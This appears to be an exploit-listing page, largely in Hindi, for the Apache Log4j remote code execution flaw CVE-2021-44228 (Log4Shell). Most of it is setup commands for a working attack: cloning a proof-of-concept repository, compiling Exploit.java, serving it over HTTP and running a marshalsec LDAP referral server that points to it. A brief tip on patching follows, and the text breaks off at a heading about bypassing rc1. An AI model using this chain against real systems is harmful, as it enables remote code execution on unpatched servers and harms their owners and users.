Exploit for CVE-2021-44228-Apache-Log4j-Rce

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KANNTHU-CVE-2021-44228-APACHE-LOG4J-RCE
# CVE-2021-44228(Apache Log4j रिमोट कोड एक्जीक्यूशन）

> सभी log4j-core संस्करण >=2.0-beta9 और <=2.14.1

1.x के संस्करण में अन्य कमजोरियाँ हैं, हम अनुशंसा करते हैं कि आप नवीनतम संस्करण में अपडेट करें।

सुरक्षा सलाहकार / बुलेटिन Log4Shell (CVE-2021-44228) से जुड़े

### उपयोग:

root@kitploit:~
    
    
    git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
    cd apache-log4j-poc/src/main/java
    javac Exploit.java 
    # For Python2
    python -m SimpleHTTPServer 8888 
    # For Python3
    python3 -m http.server 8888
    

root@kitploit:~
    
    
    git clone https://github.com/mbechler/marshalsec.git
    cd marshalsec
    # Java 8 required
    mvn clean package -DskipTests
    cd target
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
    

अंत में प्रोजेक्ट चलाएँ, आप अपने स्थानीय से कैलकुलेटर देखेंगे।

Tips:

> वर्तमान Java संस्करण पर भरोसा न करें कि वह आपको बचाएगा। Log4j को अपडेट करें (या JNDI lookup हटाएँ)। विस्तार को अक्षम करें (वैसे भी यह काफी बुरा विचार लगता है)।

### rc1 को बायपास करें